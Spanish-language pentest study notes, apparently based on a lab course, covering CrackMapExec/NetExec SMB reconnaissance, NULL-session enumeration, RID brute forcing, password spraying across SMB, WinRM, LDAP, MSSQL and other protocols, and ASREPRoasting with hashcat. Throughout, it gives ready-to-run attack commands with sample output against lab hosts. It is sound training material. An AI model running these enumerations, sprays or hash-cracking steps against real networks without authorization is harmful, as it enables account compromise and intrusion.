Skip to content

Gathering Information Anonymously - Basic SMB Reconnaissance

¿Qué se puede obtener sin autenticación?

El protocolo SMB permite obtener información valiosa sin credenciales:

  • IP address — Dirección IP del host
  • Target local name — Nombre NetBIOS de la máquina
  • Windows version — Versión del sistema operativo
  • Architecture — x86 o x64
  • Fully qualified domain name (FQDN) — Nombre completo del dominio
  • SMB signing enabled — Estatus de firma SMB (True/False)
  • SMB version — Versión de protocolo SMB (1, 2, 3, etc.)

SMB Enumeration Básico

Comando simple para escanear una red

CrackMapExec:

bash
crackmapexec smb 192.168.133.0/24

NetExec:

bash
netexec smb 192.168.133.0/24

Output esperado:

SMB         192.168.133.1   445    DESKTOP-DKCQVG2  [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-DKCQVG2) (domain:DESKTOP-DKCQVG2) (signing:False) (SMBv1:False)
SMB         192.168.133.158 445    WIN-TOE6NQTR989  [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-TOE6NQTR989) (domain:inlanefreight.htb) (signing:True) (SMBv1:True)
SMB         192.168.133.157 445    WIN7             [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:WIN7) (domain:WIN7) (signing:False) (SMBv1:True)

Interpretar el Output

Estructura de cada línea

[Protocolo] [IP] [Puerto] [Nombre_Máquina] [*] [OS] [Arquitectura] (name:X) (domain:Y) (signing:Z) (SMBv1:W)

Ejemplo: 192.168.133.157 (WIN7)

SMB         192.168.133.157 445    WIN7             [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:WIN7) (domain:WIN7) (signing:False) (SMBv1:True)

Interpretación:

  • IP: 192.168.133.157
  • Puerto: 445 (SMB)
  • Nombre: WIN7
  • SO: Windows 7 Ultimate Service Pack 1
  • Build: 7601
  • Arquitectura: x64 (64-bit)
  • name: WIN7
  • domain: WIN7 (IMPORTANTE: igual al name = NO está en dominio)
  • SMB signing: False (vulnerable a relaying)
  • SMBv1: True (protocolo antiguo, potencialmente vulnerable)

Identificar máquinas en dominio vs independientes

Máquina en dominio

(name:WIN-TOE6NQTR989) (domain:inlanefreight.htb)
  • name ≠ domain — Está en el dominio inlanefreight.htb
  • Es un objetivo potencial para movimiento lateral

Máquina independiente (workgroup)

(name:WIN7) (domain:WIN7)
  • name == domain — NO está en dominio
  • Es independiente o en workgroup local

Identificar objetivos de valor

Windows Servers son objetivos prioritarios

  • Contienen datos críticos: shares, contraseñas, backups de websites, bases de datos
  • Generalmente tienen más privilegios que workstations
  • Contienen configuraciones sensibles

Ejemplo: WIN-TOE6NQTR989 es Windows Server 2016 → objetivo de alto valor

Arquitectura importa

  • x64 (64-bit) — Necesitas payloads de 64-bit
  • x86 (32-bit) — Necesitas payloads de 32-bit

En el ejemplo, todos son x64, así que cualquier payload personalizado debe ser 64-bit.


SMB Signing - Detectar hosts vulnerables a relaying

¿Qué es SMB signing?

Mecanismo de seguridad que autentica mensajes SMB para prevenir ataques MITM y relaying.

  • signing:True — Protegido contra relaying
  • signing:False — Vulnerable a SMBRelay attacks

Extraer hosts con SMB signing deshabilitado

CrackMapExec:

bash
crackmapexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt

NetExec:

bash
netexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt

Output:

SMB         192.168.1.101    445    DC2012A          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A) (domain:OCEAN) (signing:True) (SMBv1:True)
SMB         192.168.1.102    445    DC2012B          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B) (domain:EARTH) (signing:True) (SMBv1:True)
SMB         192.168.1.111    445    SERVER1          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SERVER1) (domain:PACIFIC) (signing:False) (SMBv1:True)
SMB         192.168.1.117    445    WIN10DESK1       [*] WIN10DESK1 x64 (name:WIN10DESK1) (domain:OCEAN) (signing:False) (SMBv1:True)

Archivo generado (relaylistOutputFilename.txt):

192.168.1.111
192.168.1.117

Estos son los hosts donde SMB signing está deshabilitado, potencialmente vulnerables a SMBRelay.


Datos relevantes del ejemplo

Máquina 1: 192.168.133.1 (DESKTOP-DKCQVG2)

  • SO: Windows 10.0 Build 19041
  • Dominio: DESKTOP-DKCQVG2 (workstation local)
  • SMB signing: False ✓ Vulnerable
  • SMBv1: False ✓ Moderno

Máquina 2: 192.168.133.158 (WIN-TOE6NQTR989)

  • SO: Windows Server 2016 Datacenter
  • Dominio: inlanefreight.htb ✓ En dominio
  • SMB signing: True ✗ Protegido
  • SMBv1: True — Antiguo

OBJETIVO: Este servidor es prioritario (dominio, datos sensibles)

Máquina 3: 192.168.133.157 (WIN7)

  • SO: Windows 7 Ultimate SP1
  • Dominio: WIN7 (workstation local)
  • SMB signing: False ✓ Vulnerable
  • SMBv1: True — Antiguo

OBJETIVO: Vulnerable a relaying y tiene protocolo antiguo


Formatos de targets soportados

CrackMapExec:

bash
# IP único
crackmapexec smb 192.168.133.157

# Rango CIDR
crackmapexec smb 192.168.133.0/24

# Múltiples IPs
crackmapexec smb 192.168.133.1 192.168.133.158 192.168.133.157

# Hostname/FQDN
crackmapexec smb inlanefreight.htb

# Archivo con IPs
crackmapexec smb targets.txt

NetExec:

bash
# IP único
netexec smb 192.168.133.157

# Rango CIDR
netexec smb 192.168.133.0/24

# Múltiples IPs
netexec smb 192.168.133.1 192.168.133.158 192.168.133.157

# Hostname/FQDN
netexec smb inlanefreight.htb

# Archivo con IPs
netexec smb targets.txt

Opciones útiles para SMB reconnaissance

Threads (paralelismo)

CrackMapExec:

bash
crackmapexec smb 192.168.133.0/24 -t 100

NetExec:

bash
netexec smb 192.168.133.0/24 -t 100

Verbose (salida detallada)

CrackMapExec:

bash
crackmapexec smb 192.168.133.0/24 --verbose

NetExec:

bash
netexec smb 192.168.133.0/24 --verbose

Timeout

CrackMapExec:

bash
crackmapexec smb 192.168.133.0/24 --timeout 60

NetExec:

bash
netexec smb 192.168.133.0/24 --timeout 60

Jitter (delay aleatorio)

CrackMapExec:

bash
crackmapexec smb 192.168.133.0/24 --jitter 5

NetExec:

bash
netexec smb 192.168.133.0/24 --jitter 5

Casos de uso prácticos

Scenario 1: Quick network scan

CrackMapExec:

bash
crackmapexec smb 10.0.0.0/24

NetExec:

bash
netexec smb 10.0.0.0/24

Identifica todos los hosts Windows activos y sus características básicas sin credenciales.

Scenario 2: Find relaying targets

CrackMapExec:

bash
crackmapexec smb 10.0.0.0/24 --gen-relay-list relaylist.txt

NetExec:

bash
netexec smb 10.0.0.0/24 --gen-relay-list relaylist.txt

Genera lista de hosts vulnerables a SMBRelay para usar con Responder + ntlmrelayx.py.

Scenario 3: Identify domain-joined machines

Del output, filtrar máquinas donde name ≠ domain:

(name:SERVER1) (domain:COMPANY.COM)  ← En dominio
(name:LAPTOP1) (domain:LAPTOP1)      ← Workstation local

Scenario 4: Target older systems

Buscar máquinas con SMBv1:True para exploits legacy.


Contexto de seguridad

Por qué esta información es valiosa

  1. Mapeo de red — Saber qué máquinas existen sin alertar firewalls
  2. Identificación de dominios — Determinar estructura AD
  3. Priorización de targets — Servidores > workstations
  4. Detección de vulnerabilidades — SMBv1, signing disabled
  5. Planificación de ataques — SMBRelay, exploit targeting

SMB como fuente de información

SMB es uno de los protocolos más informativos en redes Windows porque revela:

  • Identidad del sistema
  • Versión del SO (objetivo para exploits específicos)
  • Membresía de dominio (importante para movimiento lateral)
  • Configuración de seguridad (signing, SMB version)

Todo esto sin necesidad de credenciales.


Próximos pasos

Una vez enumeres la red con SMB reconnaissance básico:

  1. Explotar NULL/Anonymous sessions — Acceso sin credenciales
  2. Password spraying — Probar credenciales comunes
  3. ASREPRoasting — Capturar hashes de usuarios vulnerables
  4. Movimiento lateral — Una vez tengas credenciales válidas

Conclusión

SMB reconnaissance es el primer paso de cualquier assessment interno. CME automatiza en segundos lo que tomaría minutos manualmente y proporciona información estructurada y fácil de parsear.

Key takeaway: Siempre comienza con un escaneo SMB básico. Es rápido, no requiere credenciales y te da toda la información que necesitas para planificar los siguientes pasos.

Exploiting NULL/Anonymous Sessions

Técnica de reconocimiento que permite obtener información de un dominio Windows sin credenciales válidas, conectándose anónimamente al servicio IPC$.

Links: CrackMapExec Wiki | NetExec Docs | NULL Session - Wikipedia


¿Qué es una NULL Session?

Conexión anónima al servicio IPC$ de Windows. Si el DC está mal configurado, permite enumerar sin autenticarse. Con esto se puede obtener usuarios del dominio (--users), grupos (--groups), política de contraseñas (--pass-pol) y carpetas compartidas (--shares).


Política de Contraseñas

Antes de un Password Spraying necesitas saber el Account Lockout Threshold para no bloquear cuentas.

bash
# CrackMapExec
crackmapexec smb <IP> -u '' -p '' --pass-pol

# NetExec
netexec smb <IP> -u '' -p '' --pass-pol

Exportar y formatear

bash
# Exportar
crackmapexec smb <IP> -u '' -p '' --pass-pol --export $(pwd)/passpol.txt
netexec smb <IP> -u '' -p '' --pass-pol --export $(pwd)/passpol.txt

# Formatear JSON
sed -i "s/'/\"/g" passpol.txt
cat passpol.txt | jq

Parámetros clave del output

  • Minimum password length — Longitud mínima requerida
  • Password history length — Cuántas contraseñas anteriores no se pueden reutilizar
  • Maximum password age — Cada cuánto expira la contraseña
  • Account Lockout Threshold — Intentos fallidos antes de bloquear la cuenta
  • Locked Account Duration — Cuánto tiempo dura el bloqueo
  • Domain Password Complex — Si está en 1, requiere complejidad (mayús, minús, número, especial)

Nota: CME/NXC solo verifica la Default Password Policy, no Password Setting Objects (PSO).


Enumeración de Usuarios

Puede revelar usuarios con contraseñas en la descripción (mala práctica común en entornos reales).

bash
# CrackMapExec
crackmapexec smb <IP> -u '' -p '' --users

# NetExec
netexec smb <IP> -u '' -p '' --users

Exportar y extraer lista limpia

bash
# Exportar
crackmapexec smb <IP> -u '' -p '' --users --export $(pwd)/users.txt
netexec smb <IP> -u '' -p '' --users --export $(pwd)/users.txt

# Formatear y extraer solo nombres de usuario
sed -i "s/'/\"/g" users.txt
jq -r '.[]' users.txt > userslist.txt
cat userslist.txt

RID Brute Force

Cuando --users está restringido por el servidor, se pueden enumerar objetos del dominio forzando RIDs (identificadores numéricos de cada objeto en AD). El output indica el tipo de objeto con SidTypeUser (usuario) o SidTypeGroup (grupo).

bash
# CrackMapExec (default: hasta RID 4000)
crackmapexec smb <IP> -u '' -p '' --rid-brute
crackmapexec smb <IP> -u '' -p '' --rid-brute 5000

# NetExec
netexec smb <IP> -u '' -p '' --rid-brute
netexec smb <IP> -u '' -p '' --rid-brute 5000

Enumeración de Shares

Dependiendo de la configuración del servidor, se puede listar shares sin credenciales, con guest, o incluso con un usuario inexistente.

bash
# Sin credenciales (puede fallar con ACCESS_DENIED)
crackmapexec smb <IP> -u '' -p '' --shares
netexec smb <IP> -u '' -p '' --shares

# Con guest (suele funcionar mejor)
crackmapexec smb <IP> -u 'guest' -p '' --shares
netexec smb <IP> -u 'guest' -p '' --shares

# Con nombre aleatorio/inexistente
crackmapexec smb <IP> -u 'randomuser' -p '' --shares
netexec smb <IP> -u 'randomuser' -p '' --shares

Permisos en el output

  • READ — Solo lectura del share
  • WRITE — Escritura en el share
  • READ,WRITE — Acceso total
  • (vacío) — Sin acceso o no determinado

Próximos pasos con la info obtenida

  • Lista de usuarios + política sin lockout → Password Spraying
  • Usuarios sin pre-auth Kerberos → ASREPRoasting
  • Shares con READ → Búsqueda de credenciales en archivos
  • Contraseñas en descripciones de usuarios → Acceso directo con esas credenciales

Password Spraying

Técnica que consiste en probar una o pocas contraseñas contra muchos usuarios para evitar bloqueos de cuenta. Se usa cuando ya se tiene una lista de usuarios (por ejemplo, obtenida vía NULL Session).

Links: CrackMapExec Wiki | NetExec Docs | Password Attacks - HTB Module | WinRM Docs | MSSQL Auth


Creación de Listas

Antes de atacar se construye una wordlist basada en la política de contraseñas obtenida previamente. Ejemplos comunes: nombre del dominio + número + especial, mes/año actual, nombre de la empresa con mutaciones.

# Ejemplo passwords.txt
Inlanefreight01!
Inlanefreight02!
Inlanefreight03!
# Ejemplo users.txt
noemi
david
carlos
grace
peter

SMB - Password Spraying

Archivo de usuarios + una sola contraseña

bash
# CrackMapExec
crackmapexec smb <IP> -u users.txt -p 'Inlanefreight01!'

# NetExec
netexec smb <IP> -u users.txt -p 'Inlanefreight01!'

Lista de usuarios inline + una sola contraseña

bash
# CrackMapExec
crackmapexec smb <IP> -u noemi david grace carlos -p 'Inlanefreight01!'

# NetExec
netexec smb <IP> -u noemi david grace carlos -p 'Inlanefreight01!'

Lista de usuarios + lista de contraseñas

bash
# CrackMapExec
crackmapexec smb <IP> -u users.txt -p passwords.txt

# NetExec
netexec smb <IP> -u users.txt -p passwords.txt

Continuar tras encontrar credenciales válidas

Por defecto CME/NXC para al encontrar la primera credencial válida. Con --continue-on-success sigue probando todos los usuarios y puede encontrar cuentas privilegiadas.

bash
# CrackMapExec
crackmapexec smb <IP> -u users.txt -p passwords.txt --continue-on-success

# NetExec
netexec smb <IP> -u users.txt -p passwords.txt --continue-on-success

Un usuario por contraseña (sin bruteforce cruzado)

Útil cuando ya se conoce qué contraseña corresponde a qué usuario. Empareja la línea 1 de usuarios con la línea 1 de contraseñas, la 2 con la 2, etc.

bash
# CrackMapExec
crackmapexec smb <IP> -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-success

# NetExec
netexec smb <IP> -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-success

Cuentas Locales

Los Domain Controllers no tienen base de datos de cuentas locales, por lo que --local-auth aplica solo contra máquinas que no son DC.

bash
# CrackMapExec
crackmapexec smb <IP> -u Administrator -p 'Password@123' --local-auth

# NetExec
netexec smb <IP> -u Administrator -p 'Password@123' --local-auth

Account Lockout - Bad Password Count

Antes de hacer spraying revisar el Account Lockout Threshold de la política. Si existe un límite, mantener los intentos por debajo de ese número y respetar la ventana de reset del contador.

Para ver cuántos intentos fallidos lleva cada cuenta (requiere credencial válida):

bash
# CrackMapExec
crackmapexec smb <IP> --users -u <user> -p '<password>'

# NetExec
netexec smb <IP> --users -u <user> -p '<password>'

El output muestra badpwdcount por cada usuario. Priorizar usuarios con contador bajo para no arriesgar bloqueos.

Nota: El Bad Password Count se resetea si el usuario se autentica correctamente.


Estado de las Cuentas en el Output

  • Verde [+] — Usuario y contraseña válidos
  • Rojo [-] — Usuario o contraseña inválidos
  • Magenta — Usuario y contraseña válidos pero autenticación no exitosa

Razones de autenticación fallida con credenciales válidas (Magenta)

  • STATUS_ACCOUNT_DISABLED — Cuenta deshabilitada
  • STATUS_ACCOUNT_EXPIRED — Cuenta expirada
  • STATUS_ACCOUNT_RESTRICTION — Restricción de cuenta
  • STATUS_INVALID_LOGON_HOURS — Horario de inicio de sesión no permitido
  • STATUS_INVALID_WORKSTATION — Estación de trabajo no permitida
  • STATUS_LOGON_TYPE_NOT_GRANTED — Tipo de logon no permitido
  • STATUS_PASSWORD_EXPIRED — Contraseña expirada
  • STATUS_PASSWORD_MUST_CHANGE — La contraseña debe cambiarse
  • STATUS_ACCESS_DENIED — Acceso denegado

Cambiar contraseña con STATUS_PASSWORD_MUST_CHANGE

bash
smbpasswd -r <IP> -U <username>
# Pedirá contraseña actual y la nueva

Luego verificar con la nueva contraseña:

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<NewPassword>'

# NetExec
netexec smb <IP> -u <user> -p '<NewPassword>'

Importante en pentests: Documentar siempre cualquier cambio de contraseña y consultar con el cliente antes de modificar cuentas activas.


WinRM - Password Spraying

WinRM corre en los puertos TCP/5985 (HTTP) y TCP/5986 (HTTPS). Solo indica credencial válida si la cuenta tiene acceso a WinRM (miembro de Remote Management Users o admin local). Un (Pwn3d!) en el output indica que se pueden ejecutar comandos.

bash
# CrackMapExec
crackmapexec winrm <IP> -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-success

# NetExec
netexec winrm <IP> -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-success

LDAP - Password Spraying

Con LDAP es obligatorio usar el FQDN en lugar de la IP, de lo contrario dará error de conexión.

bash
# Agregar FQDN al /etc/hosts
echo '10.129.203.121 inlanefreight.htb dc01.inlanefreight.htb' >> /etc/hosts
bash
# CrackMapExec
crackmapexec ldap dc01.inlanefreight.htb -u users.txt -p 'Inlanefreight01!'

# NetExec
netexec ldap dc01.inlanefreight.htb -u users.txt -p 'Inlanefreight01!'

MSSQL - Password Spraying

MSSQL soporta tres tipos de autenticación, por lo que hay tres formas de atacarlo.

Cuenta de Active Directory

Requiere especificar el dominio con -d.

bash
# CrackMapExec
crackmapexec mssql <IP> -u users.txt -p 'Inlanefreight01!' -d inlanefreight.htb

# NetExec
netexec mssql <IP> -u users.txt -p 'Inlanefreight01!' -d inlanefreight.htb

Cuenta Local de Windows

Se usa un punto . como dominio o el nombre de la máquina. No aplica contra DCs.

bash
# CrackMapExec
crackmapexec mssql <IP> -u users.txt -p 'Inlanefreight01!' -d .

# NetExec
netexec mssql <IP> -u users.txt -p 'Inlanefreight01!' -d .

Cuenta SQL (local de MSSQL)

Se usa --local-auth. Es común que admins creen cuentas SQL con el mismo nombre y contraseña que sus cuentas de AD (password reuse).

bash
# CrackMapExec
crackmapexec mssql <IP> -u users.txt -p 'Inlanefreight01!' --local-auth

# NetExec
netexec mssql <IP> -u users.txt -p 'Inlanefreight01!' --local-auth

Otros Protocolos

El spraying no se limita a SMB. Un usuario puede no ser admin pero sí tener acceso a RDP, SSH, FTP u otros. Cambiar el protocolo en el comando es suficiente:

bash
# RDP
crackmapexec rdp <IP> -u users.txt -p passwords.txt
netexec rdp <IP> -u users.txt -p passwords.txt

# SSH
crackmapexec ssh <IP> -u users.txt -p passwords.txt
netexec ssh <IP> -u users.txt -p passwords.txt

# FTP
crackmapexec ftp <IP> -u users.txt -p passwords.txt
netexec ftp <IP> -u users.txt -p passwords.txt

Importante: El contador de intentos fallidos en AD es compartido entre protocolos. Si el límite es 5 y se hacen 3 intentos por RDP y 2 por WinRM, la cuenta queda bloqueada.

Finding ASREPRoastable Accounts

Ataque que busca cuentas de dominio que tienen deshabilitada la pre-autenticación de Kerberos. Cualquiera puede solicitar un AS_REP en nombre de esas cuentas y recibir datos cifrados con la contraseña del usuario, que luego se pueden crackear offline.

Links: CrackMapExec Wiki | NetExec Docs | Hashcat


¿Cómo funciona?

Cuando una cuenta no requiere pre-autenticación Kerberos, el KDC responde al AS_REQ con un AS_REP que contiene un bloque cifrado con la clave derivada de la contraseña del usuario. Este hash puede crackearse offline sin interactuar más con el dominio.


Sin credenciales (usando lista de usuarios)

Se usa LDAP con la lista de usuarios obtenida previamente (por ejemplo, vía NULL Session). El ataque prueba cada usuario para ver si devuelve un hash.

Requiere usar el FQDN del DC, no la IP.

bash
# CrackMapExec
crackmapexec ldap dc01.inlanefreight.htb -u users.txt -p '' --asreproast asreproast.out

# NetExec
netexec ldap dc01.inlanefreight.htb -u users.txt -p '' --asreproast asreproast.out

Con credenciales válidas

Con una cuenta del dominio se pueden encontrar todas las cuentas vulnerables a ASREPRoast de una sola vez, sin necesidad de iterar usuario por usuario.

bash
# CrackMapExec
crackmapexec ldap dc01.inlanefreight.htb -u grace -p 'Inlanefreight01!' --asreproast asreproast.out

# NetExec
netexec ldap dc01.inlanefreight.htb -u grace -p 'Inlanefreight01!' --asreproast asreproast.out

El output muestra el total de registros encontrados y los hashes en formato $krb5asrep$23$.


Crackear los hashes obtenidos

Los hashes se guardan en el archivo especificado (en este caso asreproast.out) y se crackean offline con Hashcat usando el módulo 18200.

bash
hashcat -m 18200 asreproast.out /usr/share/wordlists/rockyou.txt

Opciones adicionales de Hashcat útiles

bash
# Mostrar hashes ya crackeados
hashcat -m 18200 asreproast.out --show

# Con reglas para mayor cobertura
hashcat -m 18200 asreproast.out /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Flujo completo del ataque

  • Obtener lista de usuarios (NULL Session, OSINT, Kerbrute, etc.)
  • Usar --asreproast vía LDAP contra el FQDN del DC
  • Los hashes vulnerables se guardan en el archivo de salida
  • Crackear offline con Hashcat módulo 18200
  • Usar las credenciales obtenidas para enumerar más el dominio